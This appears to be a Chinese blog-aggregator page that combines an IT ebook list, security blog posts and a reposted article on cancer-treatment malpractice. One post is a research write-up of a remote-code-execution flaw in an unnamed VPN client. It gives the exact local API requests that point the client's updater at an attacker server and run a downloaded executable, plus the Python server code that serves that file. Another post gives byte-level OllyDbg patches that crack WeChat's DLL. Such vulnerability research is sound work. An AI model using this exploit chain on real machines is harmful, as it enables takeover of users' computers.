——自顶向下方法Computer Networking
——A Top-Down Approach(美) James Kurose
(美) Keith Ross英文PDF(第6版)
英文PDF(第5版)2021-03-31
2021-03-31简介
◇IT / 网络 / 网络协议
中文书名 英文书名 作者 文件类型 上传日期 备注 TCP-IP 详解
包括如下：
第1卷 协议
第2卷 实现
第3卷 TCP 事务协议，HTTP，NNTP 和 UNIX 域协议TCP-IP Illustrated (美) Richard Stevens 简体PDF(共3卷)
英文PDF(共3卷 缺第3卷)
英文CHM(共3卷 缺第3卷)2013-10-26
2021-02-11
2020-07-09简介 HTTP 权威指南 HTTP
——The Definitive GuideDavid Gourley
Brian Totty
Marjorie Sayer
Sailu Reddy
Anshu Aggarwal简体PDF(扫描版)
英文PDF2018-06-28
2018-11-09简介
◇IT / 网络 / 分布式
◇IT / 网络 / 分布式 / (综述)
(无更新)
◇IT / 网络 / 分布式 / 一致性
(无更新)
◇IT / 网络 / 分布式 / 容错性
(无更新)
◇IT / 网络 / 分布式 / DHT(分布式哈希表)
(无更新)
◇IT / 网络 / 分布式 / 区块链
(无更新)
◇IT / 网络 / 分布式 / DFS(分布式文件系统)
(无更新)
◇IT / 数据库
◇IT / 数据库 / (综述)
中文书名 英文书名 作者 文件类型 上传日期 备注 数据库系统概念 Database System Concepts (以色列) Abraham Silberschatz
(美) Hank Korth
(印度) S. Sudarshan英文PDF(第6版)
简体PDF(第5版 扫描版)2020-04-11
2021-01-21简介
◇IT / 数据库 / SQL
中文书名 英文书名 作者 文件类型 上传日期 备注 SQL 学习指南 Learning SQL (美) Alan Beaulieu 简体PDF(第2版 扫描版)
英文PDF(第2版)
英文CHM(第1版)2021-01-21
2020-04-11
2020-04-11简介 SQL Cookbook SQL Cookbook
——Query Solutions and Techniques for Database Developers(美) Anthony Molinaro 英文CHM(第1版) 2021-04-02 简介
◇IT / 人工智能
中文书名 英文书名 作者 文件类型 上传日期 备注 失控
——全人类的最终命运和结局Out of Control
——The New Biology of Machines, Social Systems and the Economic World(美) Kevin Kelly 简体EPUB
简体MOBI
简体PDF(扫描版)
英文PDF2014-01-09
2018-11-10
2021-02-06
2015-01-11简介 人工智能
——一种现代的方法Artificial Intelligence
——A Modern Approach(美) Stuart Russell
(美) Peter Norvig英文PDF(第3版) 2018-09-11 简介 奇点临近 The Singularity Is Near
——When Humans Transcend Biology(美) Ray Kurzweil 简体PDF
英文PDF2017-03-30
2017-05-09简介
◇IT / IT 公司
(无更新)
◇IT / (其它)
(无更新)
版权声明
本博客所有的原创文章，作者皆保留版权。转载必须包含本声明，保持本文完整，并以超链接形式注明作者"编程随想"和本文原始地址。翻墙工具
使用 BT sync 自动同步各种翻墙工具（BT sync 免翻墙可用）， 同步密钥是 BTLZ4A4UD3PEWKPLLWEOKH3W7OQJKFPLG 如有其它问题，用program.think@gmail.com联系俺 - 博客 构建我的被动收入 2021-05-09 08:00:00本文分享笔者使用 AWS GPU 服务器挖 ETH 和 XMR 加密币的经验。
- 博客 Vulkey_Chen's Blog 2021-05-05 00:00:00
某VPN客户端远程下载文件执行模拟逆向分析
前言
2021年3月，我通过黑盒的方式挖掘出某VPN客户端的远程下载文件执行漏洞，其原理就是通过VPN客户端本身所开启的Web服务API接口修改客户端更新请求地址，继而通过API控制客户端程序进行自动请求更新，导致客户端下载我自定义的更新程序，并运行。
黑盒侧的漏洞挖掘往往带有许多的不确定性，所以我尝试从白盒（逆向）侧的角度去入手分析该漏洞的形成，并以此为基础形成对这种漏洞的模型记忆，并且在后续的研究中也用类似思路对其他VPN客户端进行漏洞挖掘，成果还算不错。
注：文中可能会存在笔误或描述不准确等错误，还望各位不吝赐教，多多斧正。
黑盒侧
在正式逆向之前，建议读者先阅读一下黑盒侧的漏洞挖掘过程，如若读者已经熟知该漏洞，可越过该章节直接阅读「逆向侧」章节内容。
漏洞回顾
随便找一个地方下载VPN客户端下载安装。
安装完之后访问VPN的页面，发现VPN会自动下载组件更新：
这之间也许是因为存在着某些联系，可以深入的看一下。
对本地的访问
重现上述问题，通过
F12发现当访问VPN的登陆页面会对本地127.0.0.1进行HTTP(s)请求：
这些请求均为GET请求并附带着一些参数，我把它一一列下来：
本地来看一下这个
54530端口对应的进程是什么：
发现这个端口是ECAgent.exe开启的，寻找到对应进程文件所在位置：
确认这是XXX SSLVPN的程序，那么就可以将两者联系到一起，访问VPN登录首页会触发对
127.0.0.1的访问从而引起VPN进行组件更新。更新地址可控
通过以上的分析可以猜测整个大致流程，但我设想一下如果我可以控制本地的更新指向我的服务器，然后将更新的组件内容替换成恶意程序，当程序启动的时候就启动了恶意程序，这样我可以拿到安装VPN客户端的使用者PC权限。
再回到之前的本地链接列表，根据对英文的理解，参数op的值应该为其具体对应要执行的动作：
InitECAgent -> 初始化 GetEncryptKey -> 获取加密密钥 DoConfigure -> 配置 CheckReLogin -> 检查重新登录 CheckProxySetting -> 检查代理设置 UpdateControls -> 更新控制 DoQueryService -> 查询服务第一个初始化的请求存在可控参数arg1：
https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=XXX%20443&callback=EA_cb10000参数
arg1=XXX%20443，对应值也就是HOST+空格+端口的格式，看到这里基本上就会有一个思路，客户端更新控件是不是根据这个指定值向其发送请求更新的呢？我可以只替换第一个初始化请求的arg1参数为172.20.10.2 8000，然后本地搭建一个HTTP服务：python -m SimpleHTTPServer其他的请求原封不动，依次请求一遍那一份URL列表（图为请求示例）：
服务端成功收到请求，但是却出现了错误的提示：
首先我已经验证了自己的猜想，更新地址是自己可控的，客户端确实会向我指定的服务端发送请求，但由于出现了错误，我不知道客户端访问了哪个文件，也不知道访问文件之后做了什么动作。
服务搭建
现在要做的就是搭建一个客户端可以正常访问的请求，通过这个错误大致可以知道，我搭建的服务端协议和客户端请求使用的协议不一致，本机抓个包发现客户端请求的是 HTTPS 协议，这就需要搭建一个 HTTPS 服务了。
如下脚本基于Python库建立一个 HTTPS 服务：
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()搭建起一个 HTTPS 环境后再次复现如上请求，服务端收到日志：
可以看见客户端会访问两个文件：
/com/WindowsModule.xml /com/win/XXXUD.exe先不管xml文件是怎么样的，可执行文件(exe)是需要重视的，但是这里通过提示可以看出客户端发出的请求是POST请求，但我所写的Python脚本建立的HTTPS服务并不支持POST方法，我需要重写一下Handler：
import BaseHTTPServer import SimpleHTTPServer import cgi import ssl class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): form = cgi.FieldStorage() SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = ServerHandler httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()最终如上脚本支持
POST方法，当时用POST方法请求时即返回文件内容。最后，拖一个
calc.exe（计算器）到HTTPS网站根目录下的/com/win/XXXUD.exe。依次请求（经过多次复现发现，这三个请求才是重点的，其他的可以忽略）：
https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=172.20.10.2 8000&callback=EA_cb10000 https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&arg1=3408a894633162c62188f98e92a221967dccfa5aafbd79b576714b4d1c392a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0e492ee2efc736de757b80e973fe4c7d8af1af211a3f7ff3433cd9de975c76583efe7251dd1c0656f4384832998630359b65beb131cd8d287712462fa1b9e9acbc96dcc678b84cd57178c1a&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10003 https://127.0.0.1:54530/ECAgent/?op=UpdateControls&arg1=BEFORELOGIN&callback=EA_cb10005会发现客户端请求之后，将文件下载到本地并启动该程序，成功弹出计算器：
白盒（逆向）侧
我从白盒（逆向）侧的角度，带入Web漏洞挖掘思维，在不完全分析伪代码的情况下推理出漏洞。（仅尝试带入，非实战，不喜勿喷）
HTTP服务的建立
确定进程
首先进行某客户端程序的安装并启动客户端程序，然后需要使用Process Hacker之类的工具查看进程树，根据某独有的特征关键词
XXX找到打开的进程。
接着根据进程查看其是否启用了网络服务（端口开放），我找到了
ECAgent.exe这个进程，并且观察到其启用了54530端口：
尝试以HTTP/HTTPS形式访问该端口，发现HTTPS访问有具体返回内容：
故此判断该进程所启用端口为HTTP服务。
寻找入口
现在需要找到程序开启HTTP服务的入口点，由此才能继续去跟进整个程序的逻辑，我第一时间想到的是加载的DLL文件，选择x32dbg附加进程查看其所加载的DLL文件：
这里有很多系统的DLL文件，可以略过，优先查看与
ECAgent.exe有关联性的DLL文件，例如其同级目录下的几个DLL（也都被加载了）：
通过IDA打开这些DLL文件，并使用关键词
127.0.0.1、0.0.0.0、54530搜索相关数据，找到对应使用的代码（F5伪代码，如下图中函数地址不一致时因为我在调试过程中进行了REBASE）：
如上图代码中，很明显这是WINSOCK编程的写法，其中的结构体
sockaddr实际上等价于sockaddr_in，二者唯一的区别是sockaddr_in结构体有明确的成员去指定IP、端口，而sockaddr结构体则是使用成员sa_data（这是一个数组）去包含IP、端口之类的信息。如下图所示，就是一个两结构体之间的对应图，端口存放在
sa_data的第0、1位，IP存放在sa_data的第2、3、4、5位：
但是在这里，实际环境中的代码对应的端口居然为0，实际测试，发现这样的赋值是无法创建成功的：
我陷入了沉思，莫非是找错位置了？并不是这个DLL文件去开启的Web服务？带着这一份沉思去找了很多个DLL，发现它们要么是0，要么就是其他端口，而不是对应的
54530。在不断的试错之后，我发现了自己从未去看过
ECAgent.exe本身，而尝试去ECAgent.exe搜索字符串时，也没有什么收获，于是想着既然一个DLL中用到了WINSOCK的库去创建SOCKET，那么应该都会这样去编写，所以尝试使用创建SOCKET服务特有的函数名bind去全局搜索，搜索结果如下图所示：
接下来就是一个一个函数跟进去查看，最终我发现了它
sub_47FD60，如下图所示，sub_47FD60是创建SOCKET的函数，但是绑定的端口是入参，所以我需要找到调用该函数的函数，也就是sub_47FEB0，这个函数会使用一个循环，入参的端口也会随着循环递增（应该是为了防止端口冲突的情况），当创建SOCKET成功之后就直接返回。
将这段伪代码编译执行一下，输出结果，就发现第一个入参的端口是
54530，并且理论上不会有其他的软件占用这个端口，所以，我认为ECAgent.exe的HTTP服务端口就是54530。接口参数的处理逻辑
分析完HTTP服务的建立之后，我想要知道其具体如何处理请求参数，可以在此函数基础上继续回溯追踪调用链，但是这样的工作量是巨大的，不适合快速分析，所以我首先根据HTTP服务的响应字符串于IDA中搜索，再根据字符串的XREF，找到其对应使用到的函数：
如上图所示代码，大概意思就是有一个数组，存入了字符串和函数地址，根据入参进行类似对比，而后去调用函数。
在这里第二个参数
a2至关重要（它在条件判断、函数入参中都被使用到），所以我接着跟该函数的XREF，找到传递参数v26：
跟进处理过
v26的函数，sub_48E2C0函数打开了世界的大门，根据其函数的输出字符串和代码，此函数大概表达意思就是去解析URL中的请求参数：
所以，这里我就可以列出这几个参数：
op token callback guid将参数带入URL中，分别加上
123参数值去访问：https://127.0.0.1:54530/?op=123 https://127.0.0.1:54530/?token=123 https://127.0.0.1:54530/?callback=123 https://127.0.0.1:54530/?guid=123
如上图所示，请求参数
callback有对应的反回信息，尝试进行XSS无果，接着在IDA中搜索callback字符串找找是否有对应的逻辑，发现了多个URL的地址：
这些URL地址证明了参数
op、token、callback可以搭配在一块去请求使用，我于此处逐渐递减参数访问（考虑到token参数可能会存在鉴权等操作）：https://127.0.0.1:54530/?op=__restart_ecagent__&token=123&callback=123 https://127.0.0.1:54530/?op=__restart_ecagent__&token=123 https://127.0.0.1:54530/?op=__restart_ecagent__最终发现，这三条请求都可以使得
ECAgent.exe进程重启，而op=__stop_ecagent__则测试可以停止ECAgent.exe进程。输入参数
简单梳理完接口参数的处理逻辑之后，我对
op值对应的函数都看了下，有很多函数无法通过静态的方式去分析，但根据字面意思也能理解个大概：v7 = "__check_alive__"; v8[0] = (int)sub_48F700; v8[1] = (int)"CheckRelogin"; // 检查重新登录 v8[2] = (int)sub_4935E0; v8[3] = (int)"DoConfigure"; // 做配置 v8[4] = (int)sub_490800; v8[5] = (int)"GetConfig"; // 获取配置 v8[6] = (int)sub_48FB30; v8[7] = (int)"InitECAgent"; // 初始化ECAgent v8[8] = (int)sub_48F720; v8[9] = (int)"GetEncryptKey"; // 获取加密key v8[10] = (int)sub_493540; v8[11] = (int)"Setter"; v8[12] = (int)sub_493960; v8[13] = (int)"Getter"; v8[14] = (int)sub_494190; v8[15] = (int)"__restart_ecagent__"; // 重启ECAgent v8[16] = (int)sub_4903E0; v8[17] = (int)"__stop_ecagent__"; // 停止ECAgent v8[18] = (int)sub_491510; v8[19] = (int)"DetectECAgent"; // 检测ECAgent v8[20] = (int)sub_48F6C0;但有些操作肯定是需要另外一个参数去赋值配合的，所以我根据之前获取的参数列表在IDA中搜索字符串，我发现在这些参数中夹杂着一个双字
dd -> Define Double Word，IDA没有将它直接解析出来：
我选中它按下快捷键
A将其转为字符串形式，得到了字符串arg：
既然是与参数在一块的，那么我也将其作为参数添加到URL中，并与添加参数之前的URL，分别请求对比响应：
https://127.0.0.1:54530/?op=CheckRelogin https://127.0.0.1:54530/?op=DoConfigure https://127.0.0.1:54530/?op=GetConfig https://127.0.0.1:54530/?op=InitECAgent https://127.0.0.1:54530/?op=GetEncryptKey https://127.0.0.1:54530/?op=CheckRelogin&arg=123 https://127.0.0.1:54530/?op=DoConfigure&arg=123 https://127.0.0.1:54530/?op=GetConfig&arg=123 https://127.0.0.1:54530/?op=InitECAgent&arg=123 https://127.0.0.1:54530/?op=GetEncryptKey&arg=123CheckRelogin，添加前提示
invalid param count，添加后就不提示：
DoConfigure，添加前返回为空，添加后返回有内容：
GetConfig，添加前返回有内容，添加后返回为空：
InitECAgent，添加前返回为空，添加后返回有内容，并提示
CSCM_EXIST, init ok：
GetEncryptKey，添加前后返回内容没有变化：
根据对比，
arg确实可以作为参数去请求，但具体是什么意义，还需要去看功能实现，由于我水平有限，在阅读静态代码时遇到很多坎，所以根据自己的大概理解，判断出该程序会输出Log日志。
于是在磁盘文件中去寻找Log文件，最终在
C:\Users\chen\AppData\Roaming\XXX\SSL\Log中找到了输出日志：
根据
ECAgent.exe.log日志记录可以看出程序处理的逻辑：
- CheckRelogin对arg参数进行了解密；
- GetConfig根据arg参数进行读取配置；
- InitECAgent根据arg参数配置了VPN地址（HTTPS）。
CheckRelogin解密正好对应着GetEncryptKey的返回加密信息，于是尝试带入并根据日志发现记录的信息不一样了，所以在这里我暂时将其搁置：
接着来看配置VPN客户端的服务地址，尝试请求如下地址，将服务器地址指向我的机器：
https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3随后去请求其他
op参数值的地址，偶然间发现请求如下地址（GetConfig的arg参数为0或字符串）：https://127.0.0.1:54530/?op=GetConfig&arg=abcVPN客户端会去请求
https://172.20.10.3/com/WindowsModule.xml，如下图所示就是客户端请求服务端的HTTP日志：
并且会将该文件的XML格式转为JSON格式输出：
其他动作
按照正常逻辑来说，既然可以远程读取服务器配置，应该会有一些其他的操作，例如更新、下载，于是我在IDA中继续寻找，发现了一段字符串：
v23 = "__check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY LANG|InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|CheckProxySetting|UpdateControls#BEFORELOGIN|DoQueryService#QUERY CONTROLS UPDATEPROCESS|DoQueryService#QUERY DKEY_DETECT|DoQueryService#QUERY LOGINSTATUS|OpenBrowser|StartEasyConnect|DoQueryService#QUERY NEEDUPDATE";在该字符串中许多之前发现的都存在其中，当然也有很多没有见过的，我梳理了一下没有见过的字符串：
DoConfigure#SET LANG DoQueryService#QUERY LANG Logout CheckMITMAttack SelectLines CheckProxySetting UpdateControls#BEFORELOGIN DoQueryService#QUERY CONTROLS UPDATEPROCESS DoQueryService#QUERY DKEY_DETECT DoQueryService#QUERY LOGINSTATUS OpenBrowser StartEasyConnect DoQueryService#QUERY NEEDUPDATE很奇怪的是这些字符串之后还有一个
#号，例如DoConfigure，按照我的推测是去设置配置信息的，此处后面跟了一个#号+SET LANG，根据字面意思第一时间想到了这可能是设置语言，但如何设置？尝试了一下，此处可以带进arg参数，按照字面意思SET LANG之后应该还需要有参数值，所以请求参数值改为SET LANG 123，接着按照字面意思发现配合DoQueryService#QUERY LANG可以查询出来：
同样，我在之前的发现中发现可以去配置VPN服务IP地址，在IP之后加上空格也可以配置指定端口：
https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443远程下载（RCE）
接着来看我最关心的
UpdateControls#BEFORELOGIN，其字面意思就是在登陆前进行更新，那么具体更新了什么呢？我尝试请求如下URL并查看是否存在网络的连接（需要先请求InitECAgent）：https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN在HTTP服务端成功的收到了请求日志，可以看见客户端请求了很多个路径，并以POST形式请求了
/com/win/XXXUD.exe文件：
经过测试发现其会去主动下载该EXE并替换原XXXUD.exe文件，接着执行打开：
就这样我成功发现了一条RCE链：
// 改变VPN客户端服务的IP地址和端口 https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443 // 让VPN客户端发起下载更新，并执行更新文件 https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN文末
我在真实逆向过程中踩了很多坑，也由于自身缺少逆向经验和强有力的水准，只能模拟黑盒的经验和套路带入到逆向中。
虽然这只是一次逆向挖掘模拟，但在这过程中我掌握了之前黑盒所无法知晓的细节，并且对比黑、白盒的过程和结果，会发现逆向侧最后实际的PoC根本不需要
/ECAgent/目录，arg1参数也变成了arg参数，并且RCE链的请求，从原本的3条请求变成了2条请求。（也许可以Bypass一些WAF）最后我将这类漏洞称之为Web2Pwn，也就是基于Web通道达到应用侧（非Web）漏洞触发的目的。例如你可以通过HTTP服务访问触发执行CreateProcess函数，亦或者通过HTTP服务访问触发溢出漏洞。
- 博客 构建我的被动收入 2021-05-04 08:00:00被动收入投资组合2021年04月月报
- 博客 Jiajun的编程随想 2021-04-29 08:00:00《搞定CORS问题》帮我配置一下跨域...跨域了,没法请求...这是日常开发中经常遇到的问题,最近好好的阅读了一下相关文档,这篇文章是学习笔记...
- 博客 构建我的被动收入 2021-04-27 08:00:00本文分享我使用Logseq实现人生管理系统的OKR、GTD与Note的功能。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2021-04-26 23:56:40
前言
网上有一堆微信电脑版多开、防撤回等破解补丁，可以实现类似的功能，但是微信是比较涉及个人隐私的社交软件，所以网上公开的补丁基本都不敢用，万一自带木马后门什么的就惨了。
泽东同志说得好：自己动手，丰衣足食！，所以核总在这里教大家纯手工修改方法。
准备工作
1. OllyDbg 或 OllyICE(OllyDbg 爱好者二次开发升级版本) 等反汇编软件。
2. 安装好微信电脑版，提取安装路径文件夹中的 WeChatWin.dll 备用。
使用 OllyDbg 纯手工修改微信电脑版 WeChatWin.dll 的汇编代码，实现无限多开和消息防撤回功能，并且有撤回提示。
该方法适用于微信电脑版（Windows PC 版）近几年的所有版本，甚至未来新版本。
有一定的技术门槛，需要了解基本的反汇编破解知识，如果不能熟练掌握 OllyDbg 等反汇编软件，那么底下内容就可以不用看了。
破解流程
1.解除多开限制
微信启动后，会先尝试创建互斥体，如果创建成功则直接启动微信，否则依次判断 WeChatMainWndForPC 和 WeChatLoginWndForPC 两个窗口是否存在，如果存在则使用 BringWindowToTop 函数将其置顶并弹出，如果不存在则启动微信。
上述两个窗口分别代表的是微信的主界面窗口和登陆界面窗口，如果一个微信实例已经存在，则势必处于这两种状态之一。
微信判断是否重复启动运行的条件：
1.如果互斥体创建成功，则直接启动微信。
2.如果互斥体创建失败，如果查找微信相关窗口，找到则置顶并退出，未找到则启动微信。
用伪代码表示一下判断逻辑：
1 2 3 4 5 6 7 8 9 10 11// 尝试创建互斥体 if (CreateMutex() == SUCCESS) { // 创建成功则启动微信 } else { // 创建失败则尝试查找窗口 if (FindWindow() == SUCCESS) { // 找到微信窗口，则将已有窗口置顶，然后结束程序 } else { // 未找到微信窗口，则启动微信 } }所以破解思路就很简单了，首先使用 OllyDbg 查找所有参考文本字符串：
WeChatMainWndForPC 或 WeChatLoginWndForPC
然后找到以下这段代码并修改（看右侧的注释说明，需要修改 1 处星标的行）：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 355B36F8B0 /$ E8 6B000000 call WeChatWi.5B36F920 创建互斥体 5B36F8B5 84C0 test al,al 判断互斥体是否创建成功 5B36F8B7 |. 74 56 je short WeChatWi.5B36F90F ★ je 改为 jmp，不管是否创建成功都强制跳转，并且跳过底下的窗口查找判断 5B36F8B9 |. 56 push esi 5B36F8BA |. 6A 00 push 0x0 ; /Title = NULL 5B36F8BC |. 68 2819105C push WeChatWi.5C101928 ; |Class = "WeChatMainWndForPC" 5B36F8C1 |. FF15 1CD8F15B call dword ptr ds:[<&USER32.FindWindowW>>; \FindWindowW 5B36F8C7 |. 8BF0 mov esi,eax ; WeChatWi.5A960000 5B36F8C9 |. 85F6 test esi,esi 5B36F8CB |. 75 12 jnz short WeChatWi.5B36F8DF > 如果找到窗口 WeChatMainWndForPC 则将该窗口切换到顶层然后退出（按理说修改这个字符串也可以实现绕过多开检测） 5B36F8CD |. 50 push eax ; /Title = "婍?" 5B36F8CE |. 68 9C0D105C push WeChatWi.5C100D9C ; |Class = "WeChatLoginWndForPC" 5B36F8D3 |. FF15 1CD8F15B call dword ptr ds:[<&USER32.FindWindowW>>; \FindWindowW 5B36F8D9 |. 8BF0 mov esi,eax ; WeChatWi.5A960000 5B36F8DB |. 85F6 test esi,esi 5B36F8DD |. 74 2B je short WeChatWi.5B36F90A > 如果找到窗口 微信:WeChatLoginWndForPC 则将该窗口切换到顶层然后退出（按理说修改这个字符串也可以实现绕过多开检测） 5B36F8DF |> 6A 01 push 0x1 5B36F8E1 |. 56 push esi 5B36F8E2 |. FF15 88D7F15B call dword ptr ds:[<&USER32.SwitchToThis>; user32.SwitchToThisWindow 以下代码为置顶已登录的窗口 5B36F8E8 |. 56 push esi ; /hWnd = 00000001 5B36F8E9 |. FF15 8CD7F15B call dword ptr ds:[<&USER32.BringWindowT>; \BringWindowToTop 5B36F8EF |. 6A 00 push 0x0 ; /pResult = NULL 5B36F8F1 |. 68 E8030000 push 0x3E8 ; |Timeout = 1000. ms 5B36F8F6 |. 6A 02 push 0x2 ; |Flags = SMTO_NORMAL|SMTO_ABORTIFHUNG 5B36F8F8 |. 6A 00 push 0x0 ; |lParam = 0x0 5B36F8FA |. 6A 00 push 0x0 ; |wParam = 0x0 5B36F8FC |. 68 E00B0000 push 0xBE0 ; |Message = MSG(0xBE0) 5B36F901 |. 56 push esi ; |hWnd = 00000001 5B36F902 |. FF15 74D9F15B call dword ptr ds:[<&USER32.SendMessageT>; \SendMessageTimeoutW 5B36F908 |. 85F6 test esi,esi 5B36F90A |> 0f95c0 setne al 5B36F90D |. 5E pop esi ; LoadDl_1.60001057 5B36F90E |. C3 retn 函数返回（有多开时） 5B36F90F |> 32C0 xor al,al 函数返回（没有多开时） 5B36F911 \. C3 retn2.消息防撤回
消息防撤回，带对方撤回消息提示！
和上边一样，先查找所有参考文本字符串：pStrMsgid value is null
然后找到以下这段代码并修改（看右侧的注释说明，需要修改 1 处星标的行）：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 4868E854DA |> \8B06 mov eax,dword ptr ds:[esi] 68E854DC |. 8BCE mov ecx,esi 68E854DE |. FF50 18 call dword ptr ds:[eax+0x18] 68E854E1 |. 85C0 test eax,eax ; WeChatWi.68B90000 68E854E3 |.^ 74 9D je short WeChatWi.68E85482 68E854E5 |. 68 F4C7336A push WeChatWi.6A33C7F4 ; ASCII "revokemsg" 68E854EA |. 8BC8 mov ecx,eax ; WeChatWi.68B90000 68E854EC |. E8 0F2F7700 call WeChatWi.695F8400 68E854F1 |. 8BF0 mov esi,eax ; WeChatWi.68B90000 68E854F3 |. 85F6 test esi,esi 68E854F5 |.^ 74 8B je short WeChatWi.68E85482 68E854F7 |. 68 F8D4336A push WeChatWi.6A33D4F8 ; ASCII "newmsgid" 68E854FC |. 8BCE mov ecx,esi 68E854FE |. E8 FD2E7700 call WeChatWi.695F8400 68E85503 |. 85C0 test eax,eax ; WeChatWi.68B90000 ★ 修改为 xor eax,eax 68E85505 |. 74 7B je short WeChatWi.68E85582 > PS：或者把 je 改为 jne 也可以？待测试！ 68E85507 |. 8BC8 mov ecx,eax ; WeChatWi.68B90000 68E85509 |. E8 82377700 call WeChatWi.695F8C90 68E8550E |. 85C0 test eax,eax ; WeChatWi.68B90000 68E85510 |. 75 62 jnz short WeChatWi.68E85574 68E85512 |. 0F1005 98F52B>movups xmm0,dqword ptr ds:[0x6A2BF598] 68E85519 |. 83EC 10 sub esp,0x10 68E8551C |. BA C0C3336A mov edx,WeChatWi.6A33C3C0 ; ASCII "02_manager\ChatMgr.cpp" 68E85521 |. 8BC4 mov eax,esp 68E85523 |. B9 02000000 mov ecx,0x2 68E85528 |. 83EC 10 sub esp,0x10 68E8552B |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E8552E |. 8BC4 mov eax,esp 68E85530 |. 83EC 10 sub esp,0x10 68E85533 |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E85536 |. 8BC4 mov eax,esp 68E85538 |. 83EC 10 sub esp,0x10 68E8553B |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E8553E |. 8BC4 mov eax,esp 68E85540 |. 83EC 10 sub esp,0x10 68E85543 |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E85546 |. 8BC4 mov eax,esp 68E85548 |. 83EC 10 sub esp,0x10 68E8554B |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E8554E |. 8BC4 mov eax,esp 68E85550 |. 68 E0D4336A push WeChatWi.6A33D4E0 ; ASCII "pStrMsgid value is null" 68E85555 |. 68 F8C3336A push WeChatWi.6A33C3F8 ; ASCII "ChatMgr" 68E8555A |. 68 C4D4336A push WeChatWi.6A33D4C4 ; ASCII "ChatMgr::parseRevokeContent" 68E8555F |. 68 8B080000 push 0x88B 68E85564 |. 0F1100 movups dqword ptr ds:[eax],xmm0 68E85567 |. E8 54732900 call WeChatWi.6911C8C0 68E8556C |. 83C4 70 add esp,0x70 68E8556F |.^ E9 0EFFFFFF jmp WeChatWi.68E854823.破解完成
复制所有修改并保存到文件，然后替换 WeChatWin.dll 原文件，重新运行微信即可。
下载地址
不提供任何破解文件下载，免得腾讯律师函警告。
参考资料
微信PC段防撤回DLL（WeChatWin.dll）修改测试
微信 最新 电脑版 绿色修改版，和官方同步更新，有现成破解补丁下载，安全性自测！
微信 最新 电脑版 正式版+测试版+开发版（多开+防撤回,带撤回提示），和官方同步更新，有现成破解补丁下载，安全性自测！
- 博客 编程随想的博客 2021-04-25 22:25:00前一篇博文的评论区，俺回复了好几轮，显著超出以往。主要是因为，有几位热心读者写了很多条质量不错的留言，而且讨论很热烈。既然大伙儿捧场，俺当然也要有所表示。在此，向这几位热心读者表示感谢！
★引子
前几天，关于“癌症治疗 ＆ 医患矛盾”的话题再次成为天朝舆论的热点，相关话题连续多日停留在“热搜排行版”。俺借此机会发一篇《每周转载》，分享相关报道，顺便抹黑一下党国。
如果俺转贴的这些报道，你都已经看过，可以直接跳到最后一个章节（俺写了比较长的一段点评）。
★（北医三院肿瘤内科）张煜医生的爆料
4月18日，北医三院肿瘤内科的张煜医生在知乎发了一篇长文《写给我挚爱的国家和众多的肿瘤患者及家属——请与我一起呼吁，请求国家早日设立医疗红线，遏制肿瘤治疗中的不良医疗行为》。这篇长文立即引起轰动。
但是张煜医生当天晚上又把那篇文章删掉了（以下是他删文之后发的声明）
俺找到了搜狐网站对此文的转载（链接，网页存档）
全文转贴如下（引文中的某些粗体是俺加注滴）
我叫张煜，是一名普通的肿瘤内科医生，民盟成员。近1年多我碰见了很多事，让我经历了纠结和痛苦，也促使我去思考，为什么会出现这样的问题？现在我觉得想明白了，觉得有很多话要说，因此写下这篇文章。
几乎每个中国人都有这个感觉，国家变得越来越强盛，人民生活水平越来越好，不公平的现象越来越少，体制也变得越来越透明。我们都是其中的受益者，并且为国家的发展和强大而感到骄傲和自豪。
但是，今天要说的是不好的方面，是关于目前肿瘤治疗中出现的大量不良医疗行为和一些肆无忌惮的医生，以及分析其中的原因和提出解决方式。
请想一想，有多少患者罹患肿瘤后时常担心人财两空，谈医院而色变，甚至拒绝去正规医院接受治疗。很多民众心中已经形成了这样的印象：肿瘤治疗不仅费用昂贵而且效果不佳，去了医院医生就是为了赚钱，最后很可能人没了，钱也没了。
很遗憾，这种印象并不完全是凭空想象，现实中诸如此类的真实事例不断在发生着，并且每一个真实事例都很可能意味着一个家庭的破碎甚至返贫。
其实在绝大多数情况下，肿瘤的治疗是不应该会人财两空的，而应该治疗效果比目前更好并且花费更少。那么为什么仍然有这么多人财两空的悲剧发生？实事求是的说，很多是由负责治疗肿瘤的医生造成的。
我认为，目前医疗最大的问题并不是以药养医，而是监督力度缺乏，导致某些医生肆意妄为，由此而来的不良医疗行为伤害了患者的利益，是导致医患纠纷增加的重要因素，同时这也是导致普通民众认为看病难看病贵的重要原因。部分医生作恶的后果由全体国民一同承受，这非常不公平。
